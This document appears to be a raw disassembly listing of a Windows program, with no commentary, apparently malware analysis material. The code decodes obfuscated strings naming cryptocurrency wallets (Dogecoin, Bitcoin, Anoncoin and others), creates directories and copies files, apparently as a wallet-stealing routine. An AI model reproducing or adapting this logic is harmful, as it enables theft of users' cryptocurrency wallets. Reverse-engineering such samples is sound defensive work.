cmp edx, 0xf
jb 0x412540
mov byte [ebp - 4], 0x66
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412560
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x41418f
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.004680d0
or dword [ebp - 0x80], 4
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x170]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffb
mov esi, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x4125e1
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x41260e
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x67
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xf7ffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x5274a0]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xac
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x412640
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412670
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x158]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
cmovae ecx, dword [ebp - 0x158]
call fcn.0040b940
test al, al
je 0x4127fa
mov dword [ebp - 0x1a], 0xb7ab9a83
xor ecx, ecx
mov dword [ebp - 0x16], 0xaabaadba
mov word [ebp - 0x12], 0xb2
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4126e5
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412704
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414194
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x10000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x41276c
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4127e5
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0x158]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4127b8
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4127e5
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x6e
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xefffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0xbeaa9883
xor ecx, ecx
mov dword [ebp - 0x2c], 0xbebbad
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x412810
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412840
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xb0]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x9c], 0x10
lea ecx, [ebp - 0xb0]
cmovae ecx, dword [ebp - 0xb0]
call fcn.0040b940
test al, al
je 0x412e1c
mov dword [ebp - 0x30], 0xbeaa9883
xor ecx, ecx
mov dword [ebp - 0x2c], 0xbebbad
nop
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4128b0
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4128d0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414199
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x20000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x41293c
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412e07
mov dword [ebp - 0x1b], 0xbbb19683
xor ecx, ecx
mov dword [ebp - 0x17], 0xbbbaa7ba
mov word [ebp - 0x13], 0x9d9b
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412960
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412980
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0xa0]
sub eax, edx
cmp eax, ecx
jb 0x41419e
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.004680d0
mov esi, dword [ebp - 0x80]
lea ecx, [ebp - 0x78]
or esi, 8
mov dword [ebp - 0x80], esi
cmp dword [ebp - 0x64], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b940
and esi, 0xfffffff7
mov byte [ebp - 0xd], al
mov dword [ebp - 0x80], esi
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412b12
lea eax, [ebp - 0x1b]
push eax
call fcn.004141c0
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x412a10
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x412a62
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412b06
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1b]
push eax
call fcn.004141c0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x412a90
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x76
mov byte [ebp - 4], 0x74
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412ad9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412b06
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x77
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0xbcb09383
xor ecx, ecx
mov dword [ebp - 0x1b], 0x8cffb3be
mov dword [ebp - 0x17], 0xbeadb0ab
mov word [ebp - 0x13], 0xbab8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x412b33
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x78
mov ecx, eax
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412c92
lea eax, [ebp - 0x1f]
push eax
call fcn.004141f0
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x412b95
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x412be7
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412c86
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x1f]
push eax
call fcn.004141f0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x412c10
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7b
mov byte [ebp - 4], 0x79
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412c59
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412c86
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x7c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00414220
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412ca0
push esi
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7d
mov ecx, eax
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412e02
lea eax, [ebp - 0x21]
push eax
call fcn.00414220
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412d00
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x412d52
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412df6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x21]
push eax
call fcn.00414220
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412d80
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x80
mov byte [ebp - 4], 0x7e
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x412dc9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412df6
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x81
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xdfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527960]
xor ecx, ecx
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0xbab8b0bb
mov dword [ebp - 0x44], 0xb3bea8f1
mov dword [ebp - 0x40], 0xabbab3
nop
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 0x1b
jb 0x412e40
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412e70
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xc8]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x78]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x85
mov byte [ebp - 4], 0x84
call fcn.0040b8a0
add esp, 0x18
test al, al
je 0x413073
mov dword [ebp - 0x1b], 0xb3aa9283
xor ecx, ecx
mov dword [ebp - 0x17], 0xb09bb6ab
mov word [ebp - 0x13], 0xbab8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412ef4
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412f13
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4141a3
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x40000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x412f7f
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41305e
lea eax, [ebp - 0x22]
push eax
call fcn.00414280
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x11
jb 0x412f90
mov byte [ebp - 4], 0x87
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412fb0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x4141a8
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.004680d0
or dword [ebp - 0x80], 1
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0xc8]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0xb4], 0x10
push ecx
cmovae eax, dword [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffe
mov esi, eax
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x413031
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x41305e
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x88
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xbfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x54]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x89
xor ecx, ecx
mov dword [ebp - 0x18], 0xbcabb69d
mov dword [ebp - 0x14], 0xb1b6b0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x4130a0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4130d7
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8a
mov byte [ebp - 4], 0x84
mov edi, dword [ebp - 0x38]
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x8b
xor ecx, ecx
mov dword [ebp - 0x19], 0xbab8b09b
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413130
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413167
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x8d
xor ecx, ecx
mov dword [ebp - 0x19], 0xb1b0b19e
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4131b4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4131f0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x8f
xor ecx, ecx
mov dword [ebp - 0x18], 0x9c8e9d9d
mov dword [ebp - 0x14], 0xb1b6b0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x413240
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413277
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x90
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x91
xor ecx, ecx
mov dword [ebp - 0x19], 0xb7acbe9b
mov dword [ebp - 0x15], 0xbaadb09c
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x4132c4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413300
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x92
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x93
xor ecx, ecx
mov dword [ebp - 0x1b], 0xadb0b399
mov dword [ebp - 0x17], 0xb0bcb1b6
mov word [ebp - 0x13], 0xb1b6
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x413353
sub esp, 0x18
lea ecx, [ebp - 0x1b]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413390
sub ecx, esi
lea eax, [ebp - 0x1b]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x94
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x95
xor ecx, ecx
mov dword [ebp - 0x38], 0xb1bead99
mov word [ebp - 0x34], 0xb0b4
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x4133e0
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413417
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x96
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x97
xor ecx, ecx
mov dword [ebp - 0x19], 0xb6baad99
mov dword [ebp - 0x15], 0xb1b6b0bc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413464
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4134a0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x98
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040fab0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x99
xor ecx, ecx
mov dword [ebp - 0x1f], 0xbbb3b098
mov dword [ebp - 0x1b], 0xb1b6b09c
mov dword [ebp - 0x17], 0x9398f7ff
mov word [ebp - 0x13], 0xf69b
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x413500
sub esp, 0x18
lea ecx, [ebp - 0x1f]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
